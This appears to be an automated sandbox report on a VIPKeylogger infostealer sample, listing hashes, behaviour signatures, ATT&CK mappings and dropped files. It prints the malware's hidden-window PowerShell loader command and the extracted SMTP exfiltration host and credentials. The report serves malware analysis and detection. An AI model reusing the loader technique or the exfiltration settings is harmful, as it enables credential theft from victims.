vipkeylogger | 4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-12-2024 15:48

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General

Target

4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe
Size

613KB
MD5

1db4a51100e3232069a4d5458e38b319
SHA1

635a5278d1eaef481345014378d2f79fc3161b82
SHA256

4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2
SHA512

ef49bd40d6d56f08ef294dbb3eb0e8a66d5ff03d257a25789559dbe18a5a482bfad57b19014fa2ed66d5a8716b27b26f68fc5cbb2408ff1a7b3d918ca3d06336
SSDEEP

12288:Stons9H6k4J4EbhpCRMft7DvTZPa2hLjPn39kub:3nu6X4Eu2lTTDjP39bb

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.strakonltd.co.ug
Port:
587
Username:
[email protected]
Password:
Moreblessings@26
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3644	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
25	3400	msiexec.exe
27	3400	msiexec.exe
29	3400	msiexec.exe
31	3400	msiexec.exe
33	3400	msiexec.exe
45	3400	msiexec.exe
47	3400	msiexec.exe
54	3400	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
24	drive.google.com
25	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3400	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3644	powershell.exe
3400	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3400	msiexec.exe
3400	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3644	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeIncreaseQuotaPrivilege	3644	powershell.exe
Token: SeSecurityPrivilege	3644	powershell.exe
Token: SeTakeOwnershipPrivilege	3644	powershell.exe
Token: SeLoadDriverPrivilege	3644	powershell.exe
Token: SeSystemProfilePrivilege	3644	powershell.exe
Token: SeSystemtimePrivilege	3644	powershell.exe
Token: SeProfSingleProcessPrivilege	3644	powershell.exe
Token: SeIncBasePriorityPrivilege	3644	powershell.exe
Token: SeCreatePagefilePrivilege	3644	powershell.exe
Token: SeBackupPrivilege	3644	powershell.exe
Token: SeRestorePrivilege	3644	powershell.exe
Token: SeShutdownPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeSystemEnvironmentPrivilege	3644	powershell.exe
Token: SeRemoteShutdownPrivilege	3644	powershell.exe
Token: SeUndockPrivilege	3644	powershell.exe
Token: SeManageVolumePrivilege	3644	powershell.exe
Token: 33	3644	powershell.exe
Token: 34	3644	powershell.exe
Token: 35	3644	powershell.exe
Token: 36	3644	powershell.exe
Token: SeDebugPrivilege	3400	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 3644	2720	4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe	83
PID 2720 wrote to memory of 3644	2720	4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe	83
PID 2720 wrote to memory of 3644	2720	4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe	83
PID 3644 wrote to memory of 3400	3644	powershell.exe	97
PID 3644 wrote to memory of 3400	3644	powershell.exe	97
PID 3644 wrote to memory of 3400	3644	powershell.exe	97
PID 3644 wrote to memory of 3400	3644	powershell.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe
"C:\Users\Admin\AppData\Local\Temp\4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Velsesmaterialer=Get-Content -raw 'C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\tvrdriver.Dob175';$udueligeres=$Velsesmaterialer.SubString(55839,3);.$udueligeres($Velsesmaterialer)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ri3tbpoj.dux.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\Entreats.rso

Filesize
331KB

MD5
07e1551ff86c3a02cc4ade81aad1a57d

SHA1
11b8192abac18823b6a1f10ea2e8cf0d9b6ac10b

SHA256
437bda3bc2978d74c4aa37d6a717b519b3f491492a673d329f36f54dd7764997

SHA512
4af3c83cf79465cdb5cf467636aac784e1d1c97421c7d64216ffd3e02ed536c6543658ab3c351870722c3eb159bd496dc332a77fe2cbb55dd65f7b89d895acb9

Download Submit
C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\tvrdriver.Dob175

Filesize
54KB

MD5
7562ce0c4f392e2b16af6e4e2ed86bbf

SHA1
3f17f397709f6276b2345e09a30abe657614e5c4

SHA256
e3f186006ceac653cb2fb3fd1a3f3d531246ee599efecb8aed68bed27d860e0a

SHA512
2f98d074df39c3bcf3ffae38c911b90487499a8c40fd1a4c45d7c9acf804acb3edf6d820295c4f1c4226be00a9a358b4db1c94936896e01a7f6bbda89ce60334

Download Submit
memory/3400-87-0x0000000025990000-0x000000002599A000-memory.dmp

Filesize
40KB

Download
memory/3400-86-0x00000000259E0000-0x0000000025A72000-memory.dmp

Filesize
584KB

Download
memory/3400-84-0x00000000258B0000-0x0000000025900000-memory.dmp

Filesize
320KB

Download
memory/3400-83-0x0000000026040000-0x0000000026202000-memory.dmp

Filesize
1.8MB

Download
memory/3400-81-0x00000000253F0000-0x000000002548C000-memory.dmp

Filesize
624KB

Download
memory/3400-79-0x0000000001240000-0x0000000002494000-memory.dmp

Filesize
18.3MB

Download
memory/3400-80-0x0000000001240000-0x0000000001288000-memory.dmp

Filesize
288KB

Download
memory/3400-78-0x0000000001240000-0x0000000002494000-memory.dmp

Filesize
18.3MB

Download
memory/3644-48-0x00000000078B0000-0x00000000078BA000-memory.dmp

Filesize
40KB

Download
memory/3644-54-0x000000007494E000-0x000000007494F000-memory.dmp

Filesize
4KB

Download
memory/3644-28-0x00000000067D0000-0x00000000067EA000-memory.dmp

Filesize
104KB

Download
memory/3644-29-0x0000000006860000-0x0000000006882000-memory.dmp

Filesize
136KB

Download
memory/3644-30-0x0000000007950000-0x0000000007EF4000-memory.dmp

Filesize
5.6MB

Download
memory/3644-26-0x0000000006330000-0x000000000637C000-memory.dmp

Filesize
304KB

Download
memory/3644-32-0x0000000008580000-0x0000000008BFA000-memory.dmp

Filesize
6.5MB

Download
memory/3644-35-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-34-0x0000000070760000-0x00000000707AC000-memory.dmp

Filesize
304KB

Download
memory/3644-36-0x0000000070E80000-0x00000000711D4000-memory.dmp

Filesize
3.3MB

Download
memory/3644-46-0x0000000007780000-0x000000000779E000-memory.dmp

Filesize
120KB

Download
memory/3644-33-0x0000000007740000-0x0000000007772000-memory.dmp

Filesize
200KB

Download
memory/3644-47-0x00000000077B0000-0x0000000007853000-memory.dmp

Filesize
652KB

Download
memory/3644-7-0x000000007494E000-0x000000007494F000-memory.dmp

Filesize
4KB

Download
memory/3644-50-0x0000000007920000-0x0000000007944000-memory.dmp

Filesize
144KB

Download
memory/3644-49-0x00000000078F0000-0x000000000791A000-memory.dmp

Filesize
168KB

Download
memory/3644-51-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-52-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-53-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-27-0x00000000072F0000-0x0000000007386000-memory.dmp

Filesize
600KB

Download
memory/3644-55-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-56-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-25-0x0000000006300000-0x000000000631E000-memory.dmp

Filesize
120KB

Download
memory/3644-58-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-59-0x0000000008C00000-0x000000000DBDD000-memory.dmp

Filesize
79.9MB

Download
memory/3644-60-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-61-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-62-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-63-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-65-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-24-0x0000000005CF0000-0x0000000006044000-memory.dmp

Filesize
3.3MB

Download
memory/3644-14-0x0000000005C70000-0x0000000005CD6000-memory.dmp

Filesize
408KB

Download
memory/3644-13-0x00000000054C0000-0x0000000005526000-memory.dmp

Filesize
408KB

Download
memory/3644-12-0x0000000005220000-0x0000000005242000-memory.dmp

Filesize
136KB

Download
memory/3644-11-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-10-0x0000000074940000-0x00000000750F0000-memory.dmp

Filesize
7.7MB

Download
memory/3644-9-0x0000000005530000-0x0000000005B58000-memory.dmp

Filesize
6.2MB

Download
memory/3644-8-0x00000000029D0000-0x0000000002A06000-memory.dmp

Filesize
216KB

Download